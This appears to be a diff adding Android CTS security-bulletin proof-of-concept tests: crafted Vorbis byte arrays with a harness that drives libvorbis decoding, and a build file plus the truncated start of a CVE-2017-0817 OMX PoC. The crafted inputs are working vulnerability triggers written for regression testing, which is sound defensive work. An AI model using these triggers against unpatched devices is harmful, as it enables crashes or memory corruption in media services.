+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00,
+ 0x0A, 0x38, 0x00, 0x00, 0x0A, 0x58, 0x08, 0x85, 0x86, 0xAC, 0x08, 0x00,
+ 0xE2, 0x04, 0x00, 0x1C, 0x92, 0x04, 0x49, 0x82, 0x24, 0x41, 0xF3, 0x00,
+ 0x92, 0x65, 0x41, 0xD3, 0xA0, 0x69, 0x30, 0x4D, 0x80, 0x64, 0x59, 0xD0,
+ 0x34, 0x68, 0x1A, 0x4C, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x49, 0xD3, 0xA0, 0x69, 0xD0, 0x34, 0x88, 0x22, 0x40,
+ 0xD2, 0x34, 0x68, 0x1A, 0x34, 0x0D, 0xA2, 0x08, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xA4, 0x69, 0xD0, 0x34, 0x68, 0x1A,
+ 0x44, 0x11, 0x20, 0x69, 0x1A, 0x34, 0x0D, 0x9A, 0x06, 0x51, 0x04, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x33, 0x4D, 0x88,
+ 0x22, 0x44, 0x11, 0xA6, 0x09, 0xF0, 0x4C, 0x13, 0xA2, 0x08, 0x51, 0x84,
+ 0x69, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x02, 0x00, 0x00, 0x09, 0x1C, 0x00, 0x00, 0x05, 0x4C, 0x28, 0x03, 0x85,
+ 0x86, 0xAC, 0x08, 0x00, 0xE2, 0x04, 0x00, 0x1C, 0x8E, 0x62, 0x59, 0x00,
+ 0x00, 0xE0, 0x38, 0x8E, 0x65, 0x01, 0x00, 0x80, 0xE3, 0x38, 0x96, 0x05,
+ 0x00, 0x00, 0x96, 0x65, 0x89, 0x22, 0x00, 0x00, 0x58, 0x96, 0x26, 0x8A,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x09, 0x1C, 0x00, 0x00,
+ 0x05, 0x4C, 0x28, 0x03, 0x85, 0x86, 0xAC, 0x04, 0x00, 0xA2, 0x00, 0x00,
+ 0x1C, 0x8A, 0x62, 0x59, 0xC0, 0x71, 0x2C, 0x0B, 0x38, 0x8E, 0x65, 0x01,
+ 0x49, 0xB2, 0x2C, 0x80, 0x65, 0x01, 0x34, 0x0F, 0xA0, 0x69, 0x00, 0x51,
+ 0x04, 0x00, 0x02, 0x00, 0x00, 0x0D, 0x1C, 0x00, 0x00, 0x05, 0x6C, 0xD0,
+ 0x94, 0x58, 0x1C, 0xA0, 0xD0, 0x90, 0x95, 0x00, 0x40, 0x14, 0x00, 0x80,
+ 0x41, 0x71, 0x2C, 0x4B, 0xD3, 0x44, 0x91, 0x24, 0x69, 0x9A, 0xE6, 0x89,
+ 0x22, 0x49, 0xD2, 0x34, 0xCF, 0x13, 0x45, 0x9A, 0xE6, 0x79, 0x9E, 0x67,
+ 0x9A, 0xF0, 0x3C, 0xCF, 0x33, 0x4D, 0x88, 0xA2, 0x28, 0x9A, 0x26, 0x44,
+ 0x51, 0x14, 0x4D, 0x13, 0xA6, 0x69, 0x9A, 0xAA, 0x0A, 0x4C, 0x53, 0x55,
+ 0x05, 0x00, 0x00, 0x1A, 0x38, 0x00, 0x00, 0x0A, 0xD8, 0xA0, 0x29, 0xB1,
+ 0x38, 0x40, 0xA1, 0x21, 0x2B, 0x01, 0x80, 0x90, 0x00, 0x00, 0x87, 0xA2,
+ 0x58, 0x96, 0xA6, 0x79, 0x9E, 0xE7, 0x89, 0xA2, 0x69, 0xAA, 0x26, 0x49,
+ 0xD2, 0x34, 0xCF, 0x13, 0x45, 0x51, 0x34, 0x4D, 0xD3, 0x54, 0x55, 0x92,
+ 0xA4, 0x69, 0x9E, 0x27, 0x8A, 0xA2, 0x68, 0x9A, 0xA6, 0xA9, 0xAA, 0x2C,
+ 0x4B, 0xD3, 0x3C, 0x4F, 0x14, 0x45, 0xD1, 0x34, 0x55, 0x55, 0x55, 0xA1,
+ 0x69, 0x9E, 0x27, 0x8A, 0xA2, 0x68, 0x9A, 0xAA, 0xAA, 0xBA, 0xF0, 0x3C,
+ 0xCF, 0x13, 0x45, 0x51, 0x34, 0x4D, 0x55, 0x75, 0x5D, 0x78, 0x9E, 0xE7,
+ 0x89, 0xA2, 0x28, 0x9A, 0xA6, 0xAA, 0xBA, 0x2E, 0x44, 0x51, 0x14, 0x4D,
+ 0xD3, 0x34, 0x55, 0x53, 0x55, 0x5D, 0x17, 0x88, 0xA2, 0x69, 0x9A, 0xA6,
+ 0xAA, 0xAA, 0xAA, 0xEB, 0x02, 0xD1, 0x13, 0x45, 0xD3, 0x54, 0x55, 0xD7,
+ 0x75, 0x5D, 0xE0, 0x79, 0xA2, 0x68, 0x9A, 0xAA, 0xEA, 0xAA, 0xAE, 0x0B,
+ 0x44, 0xD3, 0x34, 0x55, 0x55, 0x55, 0x5D, 0x57, 0x96, 0x01, 0xA6, 0x69,
+ 0x9A, 0xAA, 0xEA, 0xBA, 0xB2, 0x0C, 0x50, 0x55, 0x55, 0x75, 0x5D, 0xD7,
+ 0x95, 0x65, 0x80, 0xAA, 0xAA, 0xAA, 0xEB, 0xBA, 0xAE, 0x2C, 0x03, 0x54,
+ 0xD5, 0x75, 0x5D, 0x57, 0x96, 0x65, 0x19, 0x80, 0xEB, 0xBA, 0xAE, 0x2C,
+ 0xCB, 0xB2, 0x00, 0x00, 0x40, 0x04, 0x07, 0x00, 0x40, 0x01, 0x23, 0xE8,
+ 0x24, 0xA3, 0xCA, 0x22, 0x6C, 0x34, 0xE1, 0xC2, 0x03, 0x50, 0x68, 0xC8,
+ 0x8A, 0x00, 0x20, 0x0A, 0x00, 0x00, 0x30, 0x86, 0x29, 0xC5, 0x94, 0x32,
+ 0x8C, 0x49, 0x08, 0x29, 0x84, 0x86, 0x31, 0x09, 0x21, 0x85, 0x90, 0x49,
+ 0x49, 0xA9, 0xB4, 0x94, 0x2A, 0x08, 0xA9, 0x94, 0x54, 0x4A, 0x05, 0x21,
+ 0x95, 0x92, 0x4A, 0xC9, 0x28, 0xA5, 0x94, 0x5A, 0x4A, 0x15, 0x84, 0x54,
+ 0x4A, 0x2A, 0xA5, 0x82, 0x90, 0x4A, 0x49, 0xA5, 0x14, 0x00, 0x00, 0x8B,
+ 0xE0, 0x00, 0x00, 0x8B, 0x60, 0x21, 0x14, 0x1A, 0xB2, 0x12, 0x00, 0xC8,
+ 0x03, 0x00, 0x20, 0x8C, 0x51, 0x8A, 0x31, 0xC6, 0x9C, 0x93, 0x08, 0x29,
+ 0xC5, 0x98, 0x73, 0xCE, 0x49, 0x84, 0x94, 0x62, 0xCC, 0x39, 0xE7, 0xA4,
+ 0x52, 0x8C, 0x39, 0xE7, 0x9C, 0x73, 0x52, 0x4A, 0xC6, 0x1C, 0x73, 0xCE,
+ 0x39, 0x29, 0xA5, 0x73, 0xCE, 0x39, 0xE7, 0x9C, 0x94, 0x92, 0x39, 0xE7,
+ 0x9C, 0x73, 0x4E, 0x4A, 0xE9, 0x9C, 0x73, 0xCE, 0x39, 0x27, 0xA5, 0x94,
+ 0xD2, 0x39, 0xE7, 0x9C, 0x93, 0x52, 0x4A, 0x09, 0xA1, 0x73, 0xD0, 0x49,
+ 0x29, 0xA5, 0x74, 0xCE, 0x39, 0xE7, 0x04, 0x00, 0x80, 0x1A, 0x38, 0x00,
+ 0x00, 0x0A, 0xD8, 0x28, 0xB2, 0x39, 0xC1, 0x48, 0x50, 0xA1, 0x21, 0x2B,
+ 0x01, 0x80, 0x54, 0x00, 0x00, 0x83, 0xE3, 0x58, 0x96, 0xA6, 0x79, 0x9E,
+ 0x28, 0x9A, 0xA6, 0x25, 0x49, 0x9A, 0xE6, 0x79, 0x9E, 0x27, 0x8A, 0xA6,
+ 0xA9, 0x49, 0x92, 0xA6, 0x79, 0x9E, 0xE7, 0x89, 0xA2, 0x6A, 0xF2, 0x3C,
+ 0xCF, 0x13, 0x45, 0x51, 0x34, 0x4D, 0x55, 0xE5, 0x79, 0x9E, 0x27, 0x8A,
+ 0xA2, 0x68, 0x9A, 0xAA, 0xCA, 0x75, 0x45, 0xD1, 0x34, 0x4D, 0x53, 0x55,
+ 0x55, 0x97, 0x2C, 0x8B, 0xA2, 0x69, 0x9A, 0xA6, 0xAA, 0xBA, 0x2E, 0x4C,
+ 0xD3, 0x34, 0x55, 0xD5, 0x75, 0x5D, 0x17, 0xA6, 0x69, 0x9A, 0xAA, 0xEA,
+ 0xBA, 0xAE, 0x0B, 0xDB, 0x56, 0x55, 0x55, 0x75, 0x5D, 0x59, 0x86, 0x6D,
+ 0xAB, 0xAA, 0xAA, 0xBA, 0xAE, 0x2C, 0x03, 0xD7, 0x75, 0x5D, 0x59, 0xB6,
+ 0x65, 0x20, 0xCB, 0xAE, 0x2B, 0xBB, 0xB6, 0x2C, 0x00, 0x00, 0x5E, 0xC1,
+ 0x01, 0x00, 0xD4, 0xC0, 0x86, 0xD5, 0x11, 0x4E, 0x8A, 0xC6, 0x02, 0x0B,
+ 0x0D, 0x59, 0x09, 0x00, 0x64, 0x00, 0x00, 0x10, 0xC6, 0x20, 0xA4, 0x10,
+ 0x42, 0x48, 0x19, 0x84, 0x90, 0x42, 0x08, 0x21, 0xA5, 0x14, 0x42, 0x02,
+ 0x00, 0x00, 0x09, 0x1C, 0x00, 0x00, 0x05, 0x4C, 0x28, 0x03, 0x85, 0x86,
+ 0xAC, 0x04, 0x00, 0x52, 0x01, 0x00, 0x00, 0x63, 0xAC, 0xB5, 0xD6, 0x5A,
+ 0x6B, 0xAD, 0x35, 0xD0, 0x59, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x2B, 0x20,
+ 0xB3, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6,
+ 0x5A, 0x6B, 0xAD, 0xB5, 0xD4, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B,
+ 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5,
+ 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A,
+ 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD,
+ 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x4B, 0x29, 0xA5, 0x94,
+ 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A,
+ 0x29, 0xA5, 0x94, 0x52, 0x01, 0x40, 0xBF, 0x16, 0x0E, 0x00, 0xFF, 0x10,
+ 0x36, 0xAC, 0x8E, 0x70, 0x52, 0x34, 0x16, 0x58, 0x68, 0xC8, 0x4A, 0x00,
+ 0x20, 0x1C, 0x00, 0x00, 0x30, 0x46, 0x29, 0xC6, 0x1C, 0x83, 0x50, 0x4A,
+ 0x29, 0x15, 0x42, 0x8C, 0x39, 0x27, 0x1D, 0x95, 0xD6, 0x62, 0xAC, 0x10,
+ 0x62, 0xCC, 0x39, 0x09, 0x29, 0xB5, 0x16, 0x5B, 0xF1, 0x9C, 0x73, 0x10,
+ 0x4A, 0x48, 0xA5, 0xB5, 0x18, 0x8B, 0xE7, 0x9C, 0x83, 0x50, 0x4A, 0x4A,
+ 0xB1, 0xD5, 0x58, 0x54, 0x0A, 0xA1, 0x94, 0x94, 0x52, 0x8B, 0x2D, 0xD6,
+ 0xA2, 0x52, 0xE8, 0xA8, 0xA4, 0x94, 0x52, 0x6B, 0x35, 0x16, 0x63, 0x4C,
+ 0x2A, 0xA9, 0xB5, 0xD6, 0x62, 0xAB, 0xB1, 0x18, 0x63, 0x52, 0x0A, 0x2D,
+ 0xB5, 0xD6, 0x62, 0x8C, 0xC5, 0x08, 0x5B, 0x53, 0x6A, 0x2D, 0xB6, 0xDA,
+ 0x6A, 0x2C, 0xC6, 0xD8, 0x9A, 0x4A, 0x0B, 0x2D, 0xC6, 0x18, 0x63, 0x31,
+ 0xC2, 0x17, 0x19, 0x5B, 0x8B, 0xA9, 0xB6, 0x5A, 0x83, 0x31, 0xC2, 0xC8,
+ 0x16, 0x4B, 0x4B, 0xB5, 0xD6, 0x1A, 0x8C, 0x31, 0x46, 0xF7, 0xD6, 0x62,
+ 0xA9, 0xAD, 0xE6, 0x62, 0x8C, 0x0F, 0xBE, 0xB6, 0x14, 0x4B, 0x8C, 0x35,
+ 0x17, 0x00, 0xE0, 0xEE, 0xE0, 0x00, 0x80, 0xA8, 0x60, 0xE3, 0x0C, 0x2B,
+ 0x49, 0x67, 0x85, 0xA3, 0xC1, 0x85, 0x86, 0xAC, 0x04, 0x00, 0x42, 0x02,
+ 0x00, 0x08, 0x84, 0x94, 0x62, 0x8C, 0x31, 0xC6, 0x9C, 0x73, 0xCE, 0x39,
+ 0xA9, 0x14, 0x63, 0x8E, 0x39, 0xE7, 0x9C, 0x83, 0x10, 0x42, 0x28, 0x95,
+ 0x62, 0x8C, 0x31, 0xE7, 0x9C, 0x83, 0x10, 0x42, 0x08, 0x25, 0x63, 0x8C,
+ 0x39, 0xE7, 0x1C, 0x84, 0x10, 0x42, 0x08, 0xA1, 0x94, 0x92, 0x31, 0xE7,
+ 0x1C, 0x84, 0x10, 0x42, 0x08, 0x21, 0xA4, 0x94, 0x3A, 0xE7, 0x1C, 0x84,
+ 0x10, 0x42, 0x08, 0x21, 0x84, 0x52, 0x4A, 0xE7, 0x9C, 0x83, 0x10, 0x42,
+ 0x08, 0x21, 0x84, 0x50, 0x4A, 0xE9, 0x20, 0x84, 0x10, 0x42, 0x08, 0x21,
+ 0x84, 0x12, 0x4A, 0x29, 0x29, 0x85, 0x10, 0x42, 0x08, 0x21, 0x84, 0x10,
+ 0x42, 0x2A, 0x29, 0xA5, 0x10, 0x42, 0x08, 0xA1, 0x94, 0x10, 0x4A, 0x48,
+ 0x25, 0xA5, 0x14, 0x42, 0x08, 0x21, 0x84, 0x50, 0x4A, 0x09, 0x29, 0xA5,
+ 0x94, 0x42, 0x08, 0xA1, 0x94, 0x10, 0x42, 0x28, 0x21, 0xA5, 0x94, 0x52,
+ 0x4A, 0x21, 0x84, 0x10, 0x42, 0x29, 0xA5, 0xA4, 0x94, 0x52, 0x4A, 0xA9,
+ 0x84, 0x52, 0x42, 0x09, 0xA1, 0x84, 0x54, 0x4A, 0x4A, 0x29, 0x85, 0x12,
+ 0x42, 0x08, 0xA5, 0x94, 0x92, 0x52, 0x4A, 0x29, 0x95, 0x52, 0x42, 0x28,
+ 0xA1, 0x84, 0x52, 0x4A, 0x49, 0x29, 0xA5, 0x94, 0x52, 0x08, 0x21, 0x84,
+ 0x52, 0x4A, 0x01, 0x00, 0x80, 0x08, 0x0E, 0x00, 0x80, 0x02, 0x46, 0xD0,
+ 0x49, 0x46, 0x95, 0x45, 0xD8, 0x68, 0xC2, 0x85, 0x07, 0x20, 0x00, 0x00,
+ 0x00, 0x04, 0x00, 0x20, 0x08, 0x91, 0x19, 0x22, 0x51, 0xB0, 0x00, 0x0C,
+ 0x0E, 0x54, 0x00, 0x42, 0xC2, 0x14, 0x00, 0x50, 0x58, 0x60, 0x90, 0x03,
+ 0x00, 0x0D, 0x0E, 0x0F, 0x69, 0x17, 0x17, 0xD0, 0x65, 0x80, 0x0B, 0xBA,
+ 0xB8, 0xEB, 0x40, 0x08, 0x41, 0x08, 0x42, 0x10, 0x8B, 0x03, 0x28, 0x20,
+ 0x01, 0x07, 0x27, 0xDC, 0xF0, 0xC4, 0x1B, 0x9E, 0x70, 0x83, 0x13, 0x74,
+ 0x8A, 0x4A, 0x0D, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x80,
+ 0x00, 0x00, 0x24, 0x0F, 0x40, 0x44, 0x44, 0x34, 0x73, 0x10, 0x11, 0x12,
+ 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x00, 0x00,
+ 0x80, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08 };
+
+unsigned char bufData[] = { 0x3E, 0x79, 0xDE, 0x36, 0x88, 0xA9, 0x82, 0x16,
+ 0xA4, 0x10, 0x4E, 0x70, 0x83, 0x90, 0xA3, 0x4C, 0x94, 0xA9, 0xF3, 0x81,
+ 0x46, 0x74, 0x15, 0x42, 0x0B, 0x42, 0x08, 0xC7, 0xB8, 0x41, 0x28, 0x23,
+ 0x24, 0xF4, 0xA3, 0x28, 0xCB, 0xA2, 0x28, 0xCB, 0xA2, 0x28, 0xCB, 0xA2,
+ 0x28, 0xCB, 0x02, 0x00, 0x60, 0x37, 0xB9, 0x8A, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xF0, 0xDE, 0xAA, 0x88, 0xAA,
+ 0x08, 0x84, 0x14, 0x23, 0x33, 0x2A, 0x35, 0x85, 0x04, 0x78, 0x7B, 0x95,
+ 0x58, 0x4E, 0xB3, 0x6A, 0x69, 0x69, 0x61, 0x66, 0x61, 0x6E, 0x69, 0x62,
+ 0x66, 0x9A, 0x30, 0x41, 0x82, 0xF8, 0x84, 0x71, 0x71, 0xB1, 0xF1, 0x31,
+ 0x31, 0xB1, 0xB1, 0x31, 0x31, 0xB1, 0x3D, 0x3b, 0x3D, 0xBA, 0xDD, 0x4E,
+ 0xA7, 0xDB, 0xED, 0x74, 0xBA, 0xDD, 0xa6, 0xD3, 0x76, 0x9b, 0x4E, 0xDB,
+ 0x6D, 0x3a, 0x6D, 0xDB, 0x34, 0x6D, 0xD3, 0x34, 0xED, 0xCB, 0x57, 0x2F,
+ 0x5F, 0xBD, 0x3C, 0xF4, 0x43, 0x3F, 0xF4, 0x43, 0x3F, 0xF4, 0xE3, 0xF1,
+ 0xE3, 0xC7, 0x8F, 0x1F, 0x3F, 0x7E, 0xFC, 0xF8, 0xF1, 0xE3, 0xC7, 0x8F,
+ 0x1F, 0x3F, 0x7E, 0xFC, 0xF8, 0xF1, 0xE3, 0xC7, 0xF1, 0xD1, 0x68, 0x34,
+ 0x1A, 0x8D, 0x46, 0xA3, 0xD1, 0x68, 0x34, 0x0A };
+
+static void makeBitReader(const void *data, size_t size, ogg_buffer *buf,
+ ogg_reference *ref, oggpack_buffer *bits) {
+ buf->data = (uint8_t *) data;
+ buf->size = size;
+ buf->refcount = REF_COUNT;
+
+ ref->buffer = buf;
+ ref->length = size;
+ oggpack_readinit(bits, ref);
+}
+
+int main() {
+ ogg_buffer buf;
+ ogg_reference ref;
+ oggpack_buffer bits;
+
+ memset(&buf, 0, sizeof(ogg_buffer));
+ memset(&ref, 0, sizeof(ogg_reference));
+ memset(&bits, 0, sizeof(oggpack_buffer));
+
+ makeBitReader(packInfoData, sizeof(packInfoData), &buf, &ref, &bits);
+
+ vorbis_info *mVi = new vorbis_info;
+ vorbis_info_init(mVi);
+
+ int ret = _vorbis_unpack_info(mVi, &bits);
+ if (!ret) {
+ memset(&buf, 0, sizeof(ogg_buffer));
+ memset(&ref, 0, sizeof(ogg_reference));
+ memset(&bits, 0, sizeof(oggpack_buffer));
+
+ makeBitReader(unpackBookData, sizeof(unpackBookData), &buf, &ref,
+ &bits);
+
+ ret = _vorbis_unpack_books(mVi, &bits);
+ if (!ret) {
+ ogg_packet pack;
+ memset(&pack, 0, sizeof(ogg_packet));
+ memset(&buf, 0, sizeof(ogg_buffer));
+ memset(&ref, 0, sizeof(ogg_reference));
+
+ vorbis_dsp_state *mState = new vorbis_dsp_state;
+ vorbis_dsp_init(mState, mVi);
+
+ buf.data = bufData;
+ buf.size = sizeof(bufData);
+ buf.refcount = REF_COUNT;
+
+ ref.buffer = &buf;
+ ref.length = buf.size;
+
+ pack.packet = &ref;
+ pack.bytes = ref.length;
+
+ vorbis_dsp_synthesis(mState, &pack, DECODE_PACKET);
+ }
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.mk
new file mode 100644
index 0000000..5041374
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.mk
@@ -0,0 +1,51 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0817
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES_32 += ../includes/omxUtils.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/
+LOCAL_C_INCLUDES += frameworks/native/include/media/hardware/
+LOCAL_C_INCLUDES += ../includes
+LOCAL_SHARED_LIBRARIES_32 := libstagefright
+LOCAL_SHARED_LIBRARIES_32 += libbinder
+LOCAL_SHARED_LIBRARIES_32 += libmedia
+LOCAL_SHARED_LIBRARIES_32 += libmedia_omx
+LOCAL_SHARED_LIBRARIES_32 += libmediaextractor
+LOCAL_SHARED_LIBRARIES_32 += libutils
+LOCAL_SHARED_LIBRARIES_32 += liblog
+LOCAL_SHARED_LIBRARIES_32 += libui
+LOCAL_SHARED_LIBRARIES_32 += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES_32 += libcutils
+LOCAL_SHARED_LIBRARIES_32 += libhidlbase
+LOCAL_SHARED_LIBRARIES_32 += libhidlmemory
+LOCAL_SHARED_LIBRARIES_32 += libnativewindow
+LOCAL_SHARED_LIBRARIES_32 += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES_32 += android.hidl.memory@1.0
+LOCAL_SHARED_LIBRARIES_32 += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
new file mode 100644
index 0000000..778eef0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "stdlib.h"
+#include "../includes/common.h"
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include <unistd.h>
+#include <hidlmemory/mapping.h>
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+void exit_handler(void) {
+ omxUtilsFreeNode();
+}
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+
+void poc() {
+ int i;
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
